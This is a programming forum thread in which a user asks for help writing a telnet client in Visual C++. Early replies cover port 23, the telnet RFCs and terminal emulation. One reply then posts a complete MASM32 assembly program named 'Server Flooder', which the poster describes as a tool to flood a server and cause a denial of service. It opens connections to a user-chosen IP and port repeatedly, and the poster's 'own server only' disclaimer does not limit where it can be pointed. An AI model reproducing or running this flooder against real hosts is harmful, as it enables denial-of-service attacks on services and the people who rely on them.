I am currently trying to write a Telnet Client program in Visual C++. I was wondering if anyone knows where I can find a tutorial on how to write the protocals for telnet, or how to connect to a telnet server. I have written a small "chat" program (the one that they use in the Teach Yourself C++ books) and understand how it works, but not sure what to do for a telnet client. Any help would be wonderful.
Thanx,
Atrus
Hello,
Telnet operates on TCP / IP port 23, so you are going to need to manage that socket in your program. You might also want to search out RFC's on telnet programs to see what ports the negotiation occurs on.
As long as you are still doing your homework, it may also pay to determine what kind of terminal emulation you are going to support. ANSI? VT-102? VT-240? All of these terminal emulations will require study in the protocols... for examaple, VT-240 is Dec graphics mode, and that means colored lines.
You might also consider an SSH option with the software too.
WIth the amount of telnet programs out there, I am not going to ask why... but if you are going to take the time to write one, do your homework and get the scope of the design down at this stage.
Christian
Just because you're wondering I will let you know. I am trying to write a third party "bot" program for another program that allows remote admin via telnet. My program willl have buttons set up to execute certian commands and such, as the remote admin telnet server is difficult to use. :)
Cheers and thanx for the insite,
Atrus
OK, so from some quick research it looks like 854 and 855 are the RFCs for telnet. Now do I have have my socket's listen on those ports also?
Atrus
I am currently trying to write a Telnet Client program in Visual C++. I was wondering if anyone knows where I can find a tutorial on how to write the protocals for telnet, or how to connect to a telnet server. I have written a small "chat" program (the one that they use in the Teach Yourself C++ books) and understand how it works, but not sure what to do for a telnet client. Any help would be wonderful.
Thanx,
Atrus
I am write same very simple telnet for Windows on C++ , look here
http://cms.xd24.ru/telnet.aspx?l=en
Don't look at the size of the sample code I provided you down here, otherwise I will scare you of maybe.
Here is a sample of a program which connects to a server by using sockets initialized with the WSAStartup function.
Use API32 reference of microsoft to understand what the functions are for. It is written in assembly, you can compile the source code with masm32 (assembly compiler, free for download).
The purpose of this program is to flood a server on one port. You can provoke a Denial of Service with this (DOS attack) so only use it on your own server!! I am not responsible for any illegal server flooding. I have included the application itself so it is easier to see what the code is all about.
Hopefully this is some helpfull information for you.
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.486 ; create 32 bit code
.model flat, stdcall ; 32 bit memory model
option casemap :none ; case sensitive
; include files
; ~~~~~~~~~~~~~
include \masm32\include\windows.inc
include \masm32\include\masm32.inc
include \masm32\include\gdi32.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\Comctl32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\shell32.inc
include \masm32\include\oleaut32.inc
include \masm32\include\dialogs.inc
include \masm32\include\ws2_32.inc
include \masm32\macros\macros.asm
; libraries
; ~~~~~~~~~
includelib \masm32\lib\masm32.lib
includelib \masm32\lib\gdi32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\Comctl32.lib
includelib \masm32\lib\comdlg32.lib
includelib \masm32\lib\shell32.lib
includelib \masm32\lib\oleaut32.lib
includelib \masm32\lib\ws2_32.lib
DlgProc PROTO :DWORD,:DWORD,:DWORD,:DWORD
.const
CRLF equ 0dh, 0ah
.data?
hWnd dd ?
hInstance dd ?
IpToFlood db ?
.data
;Message Related Data
Mes1Caption db "License agreement.",0
Mes1Message db "Created by Devoney, november 2007."
db CRLF
db CRLF
db "This program is freeware. The creator of this program is not responsible for what"
db CRLF
db "you do with it. The main purpose of this program is to test the behaviour of a"
db CRLF
db "server with many connection attempts. Please do not abuse."
db CRLF
db CRLF
db "Enjoy a Devoney Creation."
db CRLF
db CRLF
db "Do you understand this license?",0
Mes2Caption db "Invalid data",0
Mes2Message db "No valid data has been specified.",0
Mes3Caption db "Socket Error",0
Mes3Message db "Could not create a functional socket.",0
Mes4Caption db "Connection Error",0
Mes4Message db "Could not make a connection.",0
Mes5Caption db "Socket (re)Initialisation Error",0
Mes5Message db "Application failed to initialize WSAstartup function.",0
Mes6Caption db "Determine Maximum Sockets",0
Mes6Message db "This will determine the maximum sockets that your computer can provide."
db CRLF
db CRLF
db "This might take a while, would you like to continue?",0
Mes7Caption db "Done",0
Mes7Message db "The maximum sockets is: ",0
Mes8Caption db "Info",0
Mes8Message db "Already 50,000 sockets created."
db CRLF
db "Would you like to quit?",0
;Socket Related Data
WSAStruc WSADATA <>
SocketAddress sockaddr_in <>
hosty hostent <>
ChangeDlgText db "Sockets Created:",0
RestoreText1 db "Max Connections:",0
;Connection related
PortToUse dd 00000000h
TotalConnections dd 00000000h
TotalFails dd 00000000h
TotalSucces dd 00000000h
TotalConAllowed dd 00000000h
MaxSocks dd 00000000h
MaxSocksBuffer dd 00000000h
StopConnecting dd 00h
.code
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start:
mov hInstance, FUNC(GetModuleHandle,NULL)
call main
invoke ExitProcess,eax
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main proc
Dialog "Server Flooder", \ ; caption
"MS Sans Serif",10, \ ; font,pointsize
WS_OVERLAPPED or \ ; styles for
WS_SYSMENU or DS_CENTER, \ ; dialog window
14, \ ; number of controls
50,50,155,100, \ ; x y co-ordinates
1024 ; memory buffer size
DlgButton "Flood",WS_TABSTOP,106,5,40,13,IDOK
DlgButton "Exit",WS_TABSTOP,106,20,40,13,IDCANCEL
DlgButton "Stop",WS_TABSTOP,106,35,40,13,111
DlgStatic "Ip address:",SS_LEFT,5,5,60,9,100
DlgEdit SS_LEFT,5,15,60,9,101
DlgStatic "Port number:",SS_LEFT,5,25,60,9,102
DlgEdit SS_LEFT,5,35,60,9,103
DlgStatic "Connected / Failed:",SS_LEFT,5,65,60,9,104
DlgStatic "0",SS_LEFT,5,75,15,9,105
DlgStatic "/",SS_LEFT,25,75,15,9,110
DlgStatic "0",SS_LEFT,45,75,15,9,109
DlgStatic "Max Connections:",SS_LEFT,5,45,60,9,106
DlgEdit SS_LEFT,5,55,60,9,107
DlgButton "Det. Max Sockets",WS_TABSTOP,81,65,65,13,108
CallModalDialog hInstance,0,DlgProc,NULL
ret
main endp
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DlgProc proc hWin:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD
Switch uMsg
Case WM_INITDIALOG
invoke SendMessage,hWin,WM_SETICON,1,
FUNC(LoadIcon,NULL,IDI_ASTERISK)
m2m hWnd, hWin
;Show a license messagebox
PUSH MB_YESNO
PUSH offset Mes1Caption
PUSH offset Mes1Message
PUSH hWin
Call MessageBoxA
CMP EAX, 7
JE quit_dialog
;Disable the stop button
PUSH 111
PUSH hWin
Call GetDlgItem
PUSH 0
PUSH EAX
Call EnableWindow
;first initialize that we are going to use sockets
PUSH offset WSAStruc
PUSH 0101h
Call WSAStartup
CMP EAX, 0
JNE WSAError
;Set standard port text
PUSH NULL
PUSH 80
PUSH 103
PUSH hWin
Call SetDlgItemInt
return 1
Case WM_COMMAND
Switch wParam
Case IDOK
MOV StopConnecting, 0
;gray out the Flood button
PUSH IDOK
PUSH hWin
Call GetDlgItem
PUSH 0 ;0 is disable, 1 is enable
PUSH EAX
Call EnableWindow
;Enable the stop button
PUSH 111
PUSH hWin
Call GetDlgItem
PUSH 1
PUSH EAX
Call EnableWindow
;reset the connection number
PUSH FALSE
PUSH 0
PUSH 105
PUSH hWin
Call SetDlgItemInt
;reset connections to 0
MOV TotalConnections, 0
MOV TotalFails, 0
MOV TotalSucces, 0
;Get the ip from the textboxes
PUSH 32h
PUSH offset IpToFlood
PUSH 101
PUSH hWin
Call GetDlgItemText
;get the port from the textboxes
PUSH FALSE
PUSH NULL ;specifies if we want information about the function being succesfull.
PUSH 103
PUSH hWin
Call GetDlgItemInt
CMP EAX, 0
JE ErrorInvalidData
MOV PortToUse, EAX
;get to maximum amount of connections allowed
PUSH FALSE
PUSH NULL ;specifies if we want information about the function being succesfull.
PUSH 107
PUSH hWin
Call GetDlgItemInt
CMP EAX, 0
JE ErrorInvalidData
MOV TotalConAllowed, EAX
;port and ip are set, keep going.
;check if we use a good IP.
PUSH offset IpToFlood
Call inet_addr
CMP EAX, INADDR_NONE
JE ErrorInvalidData
MOV SocketAddress.sin_addr,EAX
;process the port number
PUSH PortToUse
Call htons
MOV SocketAddress.sin_port, AX
ConnectAgain:
;Check if the stop button is pressed
;CMP StopConnecting, 1
;JE StopConnectingJMP
;Update the Window
PUSH hWin
Call UpdateWindow
;create a socket
PUSH 0
PUSH SOCK_STREAM
PUSH PF_INET
Call socket ;invoke socket,PF_INET,SOCK_STREAM,0
;check if this socket is valid
CMP EAX, INVALID_SOCKET
JE NoSocket
;fix parameter
MOV SocketAddress.sin_family,AF_INET
PUSH sizeof SocketAddress
PUSH offset SocketAddress
PUSH EAX
Call connect
CMP EAX, 0 ;Enable these 2 lines to be notified of connection errors
JE ConnectionSucces ;The program stops connection and shows a message.
;Connection failed
INC TotalFails
JMP ConnectionFailureCont
ConnectionSucces:
;We have succesfully connected
INC TotalSucces
PUSH FALSE
PUSH TotalSucces
PUSH 105
PUSh hWin
Call SetDlgItemInt
PUSH FALSE
PUSH TotalFails
PUSH 109
PUSH hWin
Call SetDlgItemInt
ConnectionFailureCont:
INC TotalConnections
;Check if we reached maximum connections allowed.
MOV EBX, TotalConAllowed
MOV ECX, TotalConnections
CMP ECX, EBX
JL ConnectAgain
StopConnectingJMP:
;Enable the Flood button
PUSH IDOK
PUSH hWin
Call GetDlgItem
PUSH 1 ;0 is disable, 1 is enable
PUSH EAX
Call EnableWindow
Case IDCANCEL
jmp quit_dialog
Case 108
PUSH MB_YESNO
PUSH offset Mes6Caption
PUSH offset Mes6Message
PUSH hWin
Call MessageBoxA
CMP EAX, 7
JE Skip
;change text in dialog control
PUSH offset ChangeDlgText
PUSH 106
PUSH hWin
Call SetDlgItemText
DetMaxSock:
PUSH hWin
Call UpdateWindow
;create a socket
PUSH 0
PUSH SOCK_STREAM
PUSH PF_INET
Call socket ;invoke socket,PF_INET,SOCK_STREAM,0
;check if this socket is valid
INC MaxSocks
CMP EAX, INVALID_SOCKET
JE DoneCheck
;Set dlg int
PUSH FALSE
PUSH MaxSocks
PUSH 107
PUSH hWin
Call SetDlgItemInt
;infinite creating of sockets is useless
CMP MaxSocks, 50000
JGE Useless
JMP DetMaxSock
DoneCheck:
PUSH MaxSocks
PUSH offset MaxSocksBuffer
Call dwtoa
PUSH offset MaxSocksBuffer
PUSH offset Mes7Message
Call lstrcat
PUSH MB_ICONINFORMATION
PUSH offset Mes7Caption
PUSH offset Mes7Message
PUSH hWin
Call MessageBoxA
Skip2:
;Clear the junk texts etc.
PUSH offset RestoreText1
PUSH 106
PUSH hWin
Call SetDlgItemText
MOV MaxSocksBuffer, 0
PUSH FALSE
PUSh 0
PUSH 107
PUSH hWin
Call SetDlgItemInt
;Clean up the sockets
Call WSACleanup
;Initialize the sockets again
PUSH offset WSAStruc
PUSH 0101h
Call WSAStartup
CMP EAX, 0
JNE WSAError
case 111
MOV StopConnecting, 1
Skip:
EndSw
Case WM_CLOSE
quit_dialog:
invoke EndDialog,hWin,0
JMP Ending
ErrorInvalidData:
LEA EDI, Mes2Caption
LEA ESI, Mes2Message
JMP FinalMes
NoSocket:
LEA EDI, Mes3Caption
LEA ESI, Mes3Message
JMP FinalMes
ConnectionError:
LEA EDI, Mes4Caption
LEA ESI, Mes4Message
JMP FinalMes
WSAError:
LEA EDI, Mes5Caption
LEA ESI, Mes5Message
JMP FinalMes
Useless:
PUSH MB_YESNO
PUSH offset Mes8Caption
PUSH offset Mes8Message
PUSH hWin
Call MessageBoxA
CMP EAX, 7 ;if answer is no, we continue
JE DetMaxSock
JMP Skip2
FinalMes:
PUSH MB_ICONERROR
PUSH EDI
PUSH ESI
PUSH hWin
Call MessageBoxA
;Enable the Flood button
PUSH IDOK
PUSH hWin
Call GetDlgItem
PUSH 1 ;0 is disable, 1 is enable
PUSH EAX
Call EnableWindow
Ending:
EndSw
return 0
DlgProc endp
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